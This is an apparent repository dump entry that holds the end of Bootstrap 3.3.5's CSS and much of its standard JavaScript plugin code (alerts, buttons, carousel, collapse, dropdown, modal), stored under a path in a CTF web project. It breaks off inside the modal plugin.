}\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md {\n    display: block !important;\n  }\n  table.visible-md {\n    display: table !important;\n  }\n  tr.visible-md {\n    display: table-row !important;\n  }\n  th.visible-md,\n  td.visible-md {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-block {\n    display: block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg {\n    display: block !important;\n  }\n  table.visible-lg {\n    display: table !important;\n  }\n  tr.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-lg,\n  td.visible-lg {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-block {\n    display: block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-xs {\n    display: none !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-sm {\n    display: none !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-md {\n    display: none !important;\n  }\n}\n@media (min-width: 1200px) {\n  .hidden-lg {\n    display: none !important;\n  }\n}\n.visible-print {\n  display: none !important;\n}\n@media print {\n  .visible-print {\n    display: block !important;\n  }\n  table.visible-print {\n    display: table !important;\n  }\n  tr.visible-print {\n    display: table-row !important;\n  }\n  th.visible-print,\n  td.visible-print {\n    display: table-cell !important;\n  }\n}\n.visible-print-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-block {\n    display: block !important;\n  }\n}\n.visible-print-inline {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline {\n    display: inline !important;\n  }\n}\n.visible-print-inline-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline-block {\n    display: inline-block !important;\n  }\n}\n@media print {\n  .hidden-print {\n    display: none !important;\n  }\n}\n/*# sourceMappingURL=bootstrap.css.map */\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/bootstrap3.3.5/js/bootstrap.js",
    "content": "/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under the MIT license\n */\n\nif (typeof jQuery === 'undefined') {\n  throw new Error('Bootstrap\\'s JavaScript requires jQuery')\n}\n\n+function ($) {\n  'use strict';\n  var version = $.fn.jquery.split(' ')[0].split('.')\n  if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) {\n    throw new Error('Bootstrap\\'s JavaScript requires jQuery version 1.9.1 or higher')\n  }\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: transition.js v3.3.5\n * http://getbootstrap.com/javascript/#transitions\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // CSS TRANSITION SUPPORT (Shoutout: http://www.modernizr.com/)\n  // ============================================================\n\n  function transitionEnd() {\n    var el = document.createElement('bootstrap')\n\n    var transEndEventNames = {\n      WebkitTransition : 'webkitTransitionEnd',\n      MozTransition    : 'transitionend',\n      OTransition      : 'oTransitionEnd otransitionend',\n      transition       : 'transitionend'\n    }\n\n    for (var name in transEndEventNames) {\n      if (el.style[name] !== undefined) {\n        return { end: transEndEventNames[name] }\n      }\n    }\n\n    return false // explicit for ie8 (  ._.)\n  }\n\n  // http://blog.alexmaccaw.com/css-transitions\n  $.fn.emulateTransitionEnd = function (duration) {\n    var called = false\n    var $el = this\n    $(this).one('bsTransitionEnd', function () { called = true })\n    var callback = function () { if (!called) $($el).trigger($.support.transition.end) }\n    setTimeout(callback, duration)\n    return this\n  }\n\n  $(function () {\n    $.support.transition = transitionEnd()\n\n    if (!$.support.transition) return\n\n    $.event.special.bsTransitionEnd = {\n      bindType: $.support.transition.end,\n      delegateType: $.support.transition.end,\n      handle: function (e) {\n        if ($(e.target).is(this)) return e.handleObj.handler.apply(this, arguments)\n      }\n    }\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: alert.js v3.3.5\n * http://getbootstrap.com/javascript/#alerts\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // ALERT CLASS DEFINITION\n  // ======================\n\n  var dismiss = '[data-dismiss=\"alert\"]'\n  var Alert   = function (el) {\n    $(el).on('click', dismiss, this.close)\n  }\n\n  Alert.VERSION = '3.3.5'\n\n  Alert.TRANSITION_DURATION = 150\n\n  Alert.prototype.close = function (e) {\n    var $this    = $(this)\n    var selector = $this.attr('data-target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    var $parent = $(selector)\n\n    if (e) e.preventDefault()\n\n    if (!$parent.length) {\n      $parent = $this.closest('.alert')\n    }\n\n    $parent.trigger(e = $.Event('close.bs.alert'))\n\n    if (e.isDefaultPrevented()) return\n\n    $parent.removeClass('in')\n\n    function removeElement() {\n      // detach from parent, fire event then clean up data\n      $parent.detach().trigger('closed.bs.alert').remove()\n    }\n\n    $.support.transition && $parent.hasClass('fade') ?\n      $parent\n        .one('bsTransitionEnd', removeElement)\n        .emulateTransitionEnd(Alert.TRANSITION_DURATION) :\n      removeElement()\n  }\n\n\n  // ALERT PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.alert')\n\n      if (!data) $this.data('bs.alert', (data = new Alert(this)))\n      if (typeof option == 'string') data[option].call($this)\n    })\n  }\n\n  var old = $.fn.alert\n\n  $.fn.alert             = Plugin\n  $.fn.alert.Constructor = Alert\n\n\n  // ALERT NO CONFLICT\n  // =================\n\n  $.fn.alert.noConflict = function () {\n    $.fn.alert = old\n    return this\n  }\n\n\n  // ALERT DATA-API\n  // ==============\n\n  $(document).on('click.bs.alert.data-api', dismiss, Alert.prototype.close)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: button.js v3.3.5\n * http://getbootstrap.com/javascript/#buttons\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // BUTTON PUBLIC CLASS DEFINITION\n  // ==============================\n\n  var Button = function (element, options) {\n    this.$element  = $(element)\n    this.options   = $.extend({}, Button.DEFAULTS, options)\n    this.isLoading = false\n  }\n\n  Button.VERSION  = '3.3.5'\n\n  Button.DEFAULTS = {\n    loadingText: 'loading...'\n  }\n\n  Button.prototype.setState = function (state) {\n    var d    = 'disabled'\n    var $el  = this.$element\n    var val  = $el.is('input') ? 'val' : 'html'\n    var data = $el.data()\n\n    state += 'Text'\n\n    if (data.resetText == null) $el.data('resetText', $el[val]())\n\n    // push to event loop to allow forms to submit\n    setTimeout($.proxy(function () {\n      $el[val](data[state] == null ? this.options[state] : data[state])\n\n      if (state == 'loadingText') {\n        this.isLoading = true\n        $el.addClass(d).attr(d, d)\n      } else if (this.isLoading) {\n        this.isLoading = false\n        $el.removeClass(d).removeAttr(d)\n      }\n    }, this), 0)\n  }\n\n  Button.prototype.toggle = function () {\n    var changed = true\n    var $parent = this.$element.closest('[data-toggle=\"buttons\"]')\n\n    if ($parent.length) {\n      var $input = this.$element.find('input')\n      if ($input.prop('type') == 'radio') {\n        if ($input.prop('checked')) changed = false\n        $parent.find('.active').removeClass('active')\n        this.$element.addClass('active')\n      } else if ($input.prop('type') == 'checkbox') {\n        if (($input.prop('checked')) !== this.$element.hasClass('active')) changed = false\n        this.$element.toggleClass('active')\n      }\n      $input.prop('checked', this.$element.hasClass('active'))\n      if (changed) $input.trigger('change')\n    } else {\n      this.$element.attr('aria-pressed', !this.$element.hasClass('active'))\n      this.$element.toggleClass('active')\n    }\n  }\n\n\n  // BUTTON PLUGIN DEFINITION\n  // ========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.button')\n      var options = typeof option == 'object' && option\n\n      if (!data) $this.data('bs.button', (data = new Button(this, options)))\n\n      if (option == 'toggle') data.toggle()\n      else if (option) data.setState(option)\n    })\n  }\n\n  var old = $.fn.button\n\n  $.fn.button             = Plugin\n  $.fn.button.Constructor = Button\n\n\n  // BUTTON NO CONFLICT\n  // ==================\n\n  $.fn.button.noConflict = function () {\n    $.fn.button = old\n    return this\n  }\n\n\n  // BUTTON DATA-API\n  // ===============\n\n  $(document)\n    .on('click.bs.button.data-api', '[data-toggle^=\"button\"]', function (e) {\n      var $btn = $(e.target)\n      if (!$btn.hasClass('btn')) $btn = $btn.closest('.btn')\n      Plugin.call($btn, 'toggle')\n      if (!($(e.target).is('input[type=\"radio\"]') || $(e.target).is('input[type=\"checkbox\"]'))) e.preventDefault()\n    })\n    .on('focus.bs.button.data-api blur.bs.button.data-api', '[data-toggle^=\"button\"]', function (e) {\n      $(e.target).closest('.btn').toggleClass('focus', /^focus(in)?$/.test(e.type))\n    })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: carousel.js v3.3.5\n * http://getbootstrap.com/javascript/#carousel\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // CAROUSEL CLASS DEFINITION\n  // =========================\n\n  var Carousel = function (element, options) {\n    this.$element    = $(element)\n    this.$indicators = this.$element.find('.carousel-indicators')\n    this.options     = options\n    this.paused      = null\n    this.sliding     = null\n    this.interval    = null\n    this.$active     = null\n    this.$items      = null\n\n    this.options.keyboard && this.$element.on('keydown.bs.carousel', $.proxy(this.keydown, this))\n\n    this.options.pause == 'hover' && !('ontouchstart' in document.documentElement) && this.$element\n      .on('mouseenter.bs.carousel', $.proxy(this.pause, this))\n      .on('mouseleave.bs.carousel', $.proxy(this.cycle, this))\n  }\n\n  Carousel.VERSION  = '3.3.5'\n\n  Carousel.TRANSITION_DURATION = 600\n\n  Carousel.DEFAULTS = {\n    interval: 5000,\n    pause: 'hover',\n    wrap: true,\n    keyboard: true\n  }\n\n  Carousel.prototype.keydown = function (e) {\n    if (/input|textarea/i.test(e.target.tagName)) return\n    switch (e.which) {\n      case 37: this.prev(); break\n      case 39: this.next(); break\n      default: return\n    }\n\n    e.preventDefault()\n  }\n\n  Carousel.prototype.cycle = function (e) {\n    e || (this.paused = false)\n\n    this.interval && clearInterval(this.interval)\n\n    this.options.interval\n      && !this.paused\n      && (this.interval = setInterval($.proxy(this.next, this), this.options.interval))\n\n    return this\n  }\n\n  Carousel.prototype.getItemIndex = function (item) {\n    this.$items = item.parent().children('.item')\n    return this.$items.index(item || this.$active)\n  }\n\n  Carousel.prototype.getItemForDirection = function (direction, active) {\n    var activeIndex = this.getItemIndex(active)\n    var willWrap = (direction == 'prev' && activeIndex === 0)\n                || (direction == 'next' && activeIndex == (this.$items.length - 1))\n    if (willWrap && !this.options.wrap) return active\n    var delta = direction == 'prev' ? -1 : 1\n    var itemIndex = (activeIndex + delta) % this.$items.length\n    return this.$items.eq(itemIndex)\n  }\n\n  Carousel.prototype.to = function (pos) {\n    var that        = this\n    var activeIndex = this.getItemIndex(this.$active = this.$element.find('.item.active'))\n\n    if (pos > (this.$items.length - 1) || pos < 0) return\n\n    if (this.sliding)       return this.$element.one('slid.bs.carousel', function () { that.to(pos) }) // yes, \"slid\"\n    if (activeIndex == pos) return this.pause().cycle()\n\n    return this.slide(pos > activeIndex ? 'next' : 'prev', this.$items.eq(pos))\n  }\n\n  Carousel.prototype.pause = function (e) {\n    e || (this.paused = true)\n\n    if (this.$element.find('.next, .prev').length && $.support.transition) {\n      this.$element.trigger($.support.transition.end)\n      this.cycle(true)\n    }\n\n    this.interval = clearInterval(this.interval)\n\n    return this\n  }\n\n  Carousel.prototype.next = function () {\n    if (this.sliding) return\n    return this.slide('next')\n  }\n\n  Carousel.prototype.prev = function () {\n    if (this.sliding) return\n    return this.slide('prev')\n  }\n\n  Carousel.prototype.slide = function (type, next) {\n    var $active   = this.$element.find('.item.active')\n    var $next     = next || this.getItemForDirection(type, $active)\n    var isCycling = this.interval\n    var direction = type == 'next' ? 'left' : 'right'\n    var that      = this\n\n    if ($next.hasClass('active')) return (this.sliding = false)\n\n    var relatedTarget = $next[0]\n    var slideEvent = $.Event('slide.bs.carousel', {\n      relatedTarget: relatedTarget,\n      direction: direction\n    })\n    this.$element.trigger(slideEvent)\n    if (slideEvent.isDefaultPrevented()) return\n\n    this.sliding = true\n\n    isCycling && this.pause()\n\n    if (this.$indicators.length) {\n      this.$indicators.find('.active').removeClass('active')\n      var $nextIndicator = $(this.$indicators.children()[this.getItemIndex($next)])\n      $nextIndicator && $nextIndicator.addClass('active')\n    }\n\n    var slidEvent = $.Event('slid.bs.carousel', { relatedTarget: relatedTarget, direction: direction }) // yes, \"slid\"\n    if ($.support.transition && this.$element.hasClass('slide')) {\n      $next.addClass(type)\n      $next[0].offsetWidth // force reflow\n      $active.addClass(direction)\n      $next.addClass(direction)\n      $active\n        .one('bsTransitionEnd', function () {\n          $next.removeClass([type, direction].join(' ')).addClass('active')\n          $active.removeClass(['active', direction].join(' '))\n          that.sliding = false\n          setTimeout(function () {\n            that.$element.trigger(slidEvent)\n          }, 0)\n        })\n        .emulateTransitionEnd(Carousel.TRANSITION_DURATION)\n    } else {\n      $active.removeClass('active')\n      $next.addClass('active')\n      this.sliding = false\n      this.$element.trigger(slidEvent)\n    }\n\n    isCycling && this.cycle()\n\n    return this\n  }\n\n\n  // CAROUSEL PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.carousel')\n      var options = $.extend({}, Carousel.DEFAULTS, $this.data(), typeof option == 'object' && option)\n      var action  = typeof option == 'string' ? option : options.slide\n\n      if (!data) $this.data('bs.carousel', (data = new Carousel(this, options)))\n      if (typeof option == 'number') data.to(option)\n      else if (action) data[action]()\n      else if (options.interval) data.pause().cycle()\n    })\n  }\n\n  var old = $.fn.carousel\n\n  $.fn.carousel             = Plugin\n  $.fn.carousel.Constructor = Carousel\n\n\n  // CAROUSEL NO CONFLICT\n  // ====================\n\n  $.fn.carousel.noConflict = function () {\n    $.fn.carousel = old\n    return this\n  }\n\n\n  // CAROUSEL DATA-API\n  // =================\n\n  var clickHandler = function (e) {\n    var href\n    var $this   = $(this)\n    var $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\\s]+$)/, '')) // strip for ie7\n    if (!$target.hasClass('carousel')) return\n    var options = $.extend({}, $target.data(), $this.data())\n    var slideIndex = $this.attr('data-slide-to')\n    if (slideIndex) options.interval = false\n\n    Plugin.call($target, options)\n\n    if (slideIndex) {\n      $target.data('bs.carousel').to(slideIndex)\n    }\n\n    e.preventDefault()\n  }\n\n  $(document)\n    .on('click.bs.carousel.data-api', '[data-slide]', clickHandler)\n    .on('click.bs.carousel.data-api', '[data-slide-to]', clickHandler)\n\n  $(window).on('load', function () {\n    $('[data-ride=\"carousel\"]').each(function () {\n      var $carousel = $(this)\n      Plugin.call($carousel, $carousel.data())\n    })\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: collapse.js v3.3.5\n * http://getbootstrap.com/javascript/#collapse\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // COLLAPSE PUBLIC CLASS DEFINITION\n  // ================================\n\n  var Collapse = function (element, options) {\n    this.$element      = $(element)\n    this.options       = $.extend({}, Collapse.DEFAULTS, options)\n    this.$trigger      = $('[data-toggle=\"collapse\"][href=\"#' + element.id + '\"],' +\n                           '[data-toggle=\"collapse\"][data-target=\"#' + element.id + '\"]')\n    this.transitioning = null\n\n    if (this.options.parent) {\n      this.$parent = this.getParent()\n    } else {\n      this.addAriaAndCollapsedClass(this.$element, this.$trigger)\n    }\n\n    if (this.options.toggle) this.toggle()\n  }\n\n  Collapse.VERSION  = '3.3.5'\n\n  Collapse.TRANSITION_DURATION = 350\n\n  Collapse.DEFAULTS = {\n    toggle: true\n  }\n\n  Collapse.prototype.dimension = function () {\n    var hasWidth = this.$element.hasClass('width')\n    return hasWidth ? 'width' : 'height'\n  }\n\n  Collapse.prototype.show = function () {\n    if (this.transitioning || this.$element.hasClass('in')) return\n\n    var activesData\n    var actives = this.$parent && this.$parent.children('.panel').children('.in, .collapsing')\n\n    if (actives && actives.length) {\n      activesData = actives.data('bs.collapse')\n      if (activesData && activesData.transitioning) return\n    }\n\n    var startEvent = $.Event('show.bs.collapse')\n    this.$element.trigger(startEvent)\n    if (startEvent.isDefaultPrevented()) return\n\n    if (actives && actives.length) {\n      Plugin.call(actives, 'hide')\n      activesData || actives.data('bs.collapse', null)\n    }\n\n    var dimension = this.dimension()\n\n    this.$element\n      .removeClass('collapse')\n      .addClass('collapsing')[dimension](0)\n      .attr('aria-expanded', true)\n\n    this.$trigger\n      .removeClass('collapsed')\n      .attr('aria-expanded', true)\n\n    this.transitioning = 1\n\n    var complete = function () {\n      this.$element\n        .removeClass('collapsing')\n        .addClass('collapse in')[dimension]('')\n      this.transitioning = 0\n      this.$element\n        .trigger('shown.bs.collapse')\n    }\n\n    if (!$.support.transition) return complete.call(this)\n\n    var scrollSize = $.camelCase(['scroll', dimension].join('-'))\n\n    this.$element\n      .one('bsTransitionEnd', $.proxy(complete, this))\n      .emulateTransitionEnd(Collapse.TRANSITION_DURATION)[dimension](this.$element[0][scrollSize])\n  }\n\n  Collapse.prototype.hide = function () {\n    if (this.transitioning || !this.$element.hasClass('in')) return\n\n    var startEvent = $.Event('hide.bs.collapse')\n    this.$element.trigger(startEvent)\n    if (startEvent.isDefaultPrevented()) return\n\n    var dimension = this.dimension()\n\n    this.$element[dimension](this.$element[dimension]())[0].offsetHeight\n\n    this.$element\n      .addClass('collapsing')\n      .removeClass('collapse in')\n      .attr('aria-expanded', false)\n\n    this.$trigger\n      .addClass('collapsed')\n      .attr('aria-expanded', false)\n\n    this.transitioning = 1\n\n    var complete = function () {\n      this.transitioning = 0\n      this.$element\n        .removeClass('collapsing')\n        .addClass('collapse')\n        .trigger('hidden.bs.collapse')\n    }\n\n    if (!$.support.transition) return complete.call(this)\n\n    this.$element\n      [dimension](0)\n      .one('bsTransitionEnd', $.proxy(complete, this))\n      .emulateTransitionEnd(Collapse.TRANSITION_DURATION)\n  }\n\n  Collapse.prototype.toggle = function () {\n    this[this.$element.hasClass('in') ? 'hide' : 'show']()\n  }\n\n  Collapse.prototype.getParent = function () {\n    return $(this.options.parent)\n      .find('[data-toggle=\"collapse\"][data-parent=\"' + this.options.parent + '\"]')\n      .each($.proxy(function (i, element) {\n        var $element = $(element)\n        this.addAriaAndCollapsedClass(getTargetFromTrigger($element), $element)\n      }, this))\n      .end()\n  }\n\n  Collapse.prototype.addAriaAndCollapsedClass = function ($element, $trigger) {\n    var isOpen = $element.hasClass('in')\n\n    $element.attr('aria-expanded', isOpen)\n    $trigger\n      .toggleClass('collapsed', !isOpen)\n      .attr('aria-expanded', isOpen)\n  }\n\n  function getTargetFromTrigger($trigger) {\n    var href\n    var target = $trigger.attr('data-target')\n      || (href = $trigger.attr('href')) && href.replace(/.*(?=#[^\\s]+$)/, '') // strip for ie7\n\n    return $(target)\n  }\n\n\n  // COLLAPSE PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.collapse')\n      var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option)\n\n      if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false\n      if (!data) $this.data('bs.collapse', (data = new Collapse(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.collapse\n\n  $.fn.collapse             = Plugin\n  $.fn.collapse.Constructor = Collapse\n\n\n  // COLLAPSE NO CONFLICT\n  // ====================\n\n  $.fn.collapse.noConflict = function () {\n    $.fn.collapse = old\n    return this\n  }\n\n\n  // COLLAPSE DATA-API\n  // =================\n\n  $(document).on('click.bs.collapse.data-api', '[data-toggle=\"collapse\"]', function (e) {\n    var $this   = $(this)\n\n    if (!$this.attr('data-target')) e.preventDefault()\n\n    var $target = getTargetFromTrigger($this)\n    var data    = $target.data('bs.collapse')\n    var option  = data ? 'toggle' : $this.data()\n\n    Plugin.call($target, option)\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: dropdown.js v3.3.5\n * http://getbootstrap.com/javascript/#dropdowns\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // DROPDOWN CLASS DEFINITION\n  // =========================\n\n  var backdrop = '.dropdown-backdrop'\n  var toggle   = '[data-toggle=\"dropdown\"]'\n  var Dropdown = function (element) {\n    $(element).on('click.bs.dropdown', this.toggle)\n  }\n\n  Dropdown.VERSION = '3.3.5'\n\n  function getParent($this) {\n    var selector = $this.attr('data-target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    var $parent = selector && $(selector)\n\n    return $parent && $parent.length ? $parent : $this.parent()\n  }\n\n  function clearMenus(e) {\n    if (e && e.which === 3) return\n    $(backdrop).remove()\n    $(toggle).each(function () {\n      var $this         = $(this)\n      var $parent       = getParent($this)\n      var relatedTarget = { relatedTarget: this }\n\n      if (!$parent.hasClass('open')) return\n\n      if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return\n\n      $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget))\n\n      if (e.isDefaultPrevented()) return\n\n      $this.attr('aria-expanded', 'false')\n      $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget)\n    })\n  }\n\n  Dropdown.prototype.toggle = function (e) {\n    var $this = $(this)\n\n    if ($this.is('.disabled, :disabled')) return\n\n    var $parent  = getParent($this)\n    var isActive = $parent.hasClass('open')\n\n    clearMenus()\n\n    if (!isActive) {\n      if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) {\n        // if mobile we use a backdrop because click events don't delegate\n        $(document.createElement('div'))\n          .addClass('dropdown-backdrop')\n          .insertAfter($(this))\n          .on('click', clearMenus)\n      }\n\n      var relatedTarget = { relatedTarget: this }\n      $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget))\n\n      if (e.isDefaultPrevented()) return\n\n      $this\n        .trigger('focus')\n        .attr('aria-expanded', 'true')\n\n      $parent\n        .toggleClass('open')\n        .trigger('shown.bs.dropdown', relatedTarget)\n    }\n\n    return false\n  }\n\n  Dropdown.prototype.keydown = function (e) {\n    if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return\n\n    var $this = $(this)\n\n    e.preventDefault()\n    e.stopPropagation()\n\n    if ($this.is('.disabled, :disabled')) return\n\n    var $parent  = getParent($this)\n    var isActive = $parent.hasClass('open')\n\n    if (!isActive && e.which != 27 || isActive && e.which == 27) {\n      if (e.which == 27) $parent.find(toggle).trigger('focus')\n      return $this.trigger('click')\n    }\n\n    var desc = ' li:not(.disabled):visible a'\n    var $items = $parent.find('.dropdown-menu' + desc)\n\n    if (!$items.length) return\n\n    var index = $items.index(e.target)\n\n    if (e.which == 38 && index > 0)                 index--         // up\n    if (e.which == 40 && index < $items.length - 1) index++         // down\n    if (!~index)                                    index = 0\n\n    $items.eq(index).trigger('focus')\n  }\n\n\n  // DROPDOWN PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.dropdown')\n\n      if (!data) $this.data('bs.dropdown', (data = new Dropdown(this)))\n      if (typeof option == 'string') data[option].call($this)\n    })\n  }\n\n  var old = $.fn.dropdown\n\n  $.fn.dropdown             = Plugin\n  $.fn.dropdown.Constructor = Dropdown\n\n\n  // DROPDOWN NO CONFLICT\n  // ====================\n\n  $.fn.dropdown.noConflict = function () {\n    $.fn.dropdown = old\n    return this\n  }\n\n\n  // APPLY TO STANDARD DROPDOWN ELEMENTS\n  // ===================================\n\n  $(document)\n    .on('click.bs.dropdown.data-api', clearMenus)\n    .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() })\n    .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle)\n    .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown)\n    .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: modal.js v3.3.5\n * http://getbootstrap.com/javascript/#modals\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // MODAL CLASS DEFINITION\n  // ======================\n\n  var Modal = function (element, options) {\n    this.options             = options\n    this.$body               = $(document.body)\n    this.$element            = $(element)\n    this.$dialog             = this.$element.find('.modal-dialog')\n    this.$backdrop           = null\n    this.isShown             = null\n    this.originalBodyPad     = null\n    this.scrollbarWidth      = 0\n    this.ignoreBackdropClick = false\n\n    if (this.options.remote) {\n      this.$element\n        .find('.modal-content')\n        .load(this.options.remote, $.proxy(function () {\n          this.$element.trigger('loaded.bs.modal')\n        }, this))\n    }\n  }\n\n  Modal.VERSION  = '3.3.5'\n\n  Modal.TRANSITION_DURATION = 300\n  Modal.BACKDROP_TRANSITION_DURATION = 150\n\n  Modal.DEFAULTS = {\n    backdrop: true,\n    keyboard: true,\n    show: true\n  }\n\n  Modal.prototype.toggle = function (_relatedTarget) {\n    return this.isShown ? this.hide() : this.show(_relatedTarget)\n  }\n\n  Modal.prototype.show = function (_relatedTarget) {\n    var that = this\n    var e    = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })\n\n    this.$element.trigger(e)\n\n    if (this.isShown || e.isDefaultPrevented()) return\n\n    this.isShown = true\n\n    this.checkScrollbar()\n    this.setScrollbar()\n    this.$body.addClass('modal-open')\n\n    this.escape()\n    this.resize()\n\n    this.$element.on('click.dismiss.bs.modal', '[data-dismiss=\"modal\"]', $.proxy(this.hide, this))\n\n    this.$dialog.on('mousedown.dismiss.bs.modal', function () {\n      that.$element.one('mouseup.dismiss.bs.modal', function (e) {\n        if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true\n      })\n    })\n\n    this.backdrop(function () {\n      var transition = $.support.transition && that.$element.hasClass('fade')\n\n      if (!that.$element.parent().length) {\n        that.$element.appendTo(that.$body) // don't move modals dom position\n      }\n\n      that.$element\n        .show()\n        .scrollTop(0)\n\n      that.adjustDialog()\n\n      if (transition) {\n        that.$element[0].offsetWidth // force reflow\n      }\n\n      that.$element.addClass('in')\n\n      that.enforceFocus()\n\n      var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget })\n\n      transition ?\n        that.$dialog // wait for modal to slide in\n          .one('bsTransitionEnd', function () {\n            that.$element.trigger('focus').trigger(e)\n          })\n          .emulateTransitionEnd(Modal.TRANSITION_DURATION) :\n        that.$element.trigger('focus').trigger(e)\n    })\n  }\n\n  Modal.prototype.hide = function (e) {\n    if (e) e.preventDefault()\n\n    e = $.Event('hide.bs.modal')\n\n    this.$element.trigger(e)\n\n    if (!this.isShown || e.isDefaultPrevented()) return\n\n    this.isShown = false\n\n    this.escape()\n    this.resize()\n\n    $(document).off('focusin.bs.modal')\n\n    this.$element\n      .removeClass('in')\n      .off('click.dismiss.bs.modal')\n      .off('mouseup.dismiss.bs.modal')\n\n    this.$dialog.off('mousedown.dismiss.bs.modal')\n\n    $.support.transition && this.$element.hasClass('fade') ?\n      this.$element\n        .one('bsTransitionEnd', $.proxy(this.hideModal, this))\n        .emulateTransitionEnd(Modal.TRANSITION_DURATION) :\n      this.hideModal()\n  }\n\n  Modal.prototype.enforceFocus = function () {\n    $(document)\n      .off('focusin.bs.modal') // guard against infinite focus loop\n      .on('focusin.bs.modal', $.proxy(function (e) {\n        if (this.$element[0] !== e.target && !this.$element.has(e.target).length) {\n          this.$element.trigger('focus')\n        }\n      }, this))\n  }\n\n  Modal.prototype.escape = function () {\n    if (this.isShown && this.options.keyboard) {\n      this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) {\n        e.which == 27 && this.hide()\n      }, this))\n    } else if (!this.isShown) {\n      this.$element.off('keydown.dismiss.bs.modal')\n    }\n  }\n\n  Modal.prototype.resize = function () {\n    if (this.isShown) {\n      $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this))\n    } else {\n      $(window).off('resize.bs.modal')\n    }\n  }\n\n  Modal.prototype.hideModal = function () {\n    var that = this\n    this.$element.hide()\n    this.backdrop(function () {\n      that.$body.removeClass('modal-open')\n      that.resetAdjustments()\n      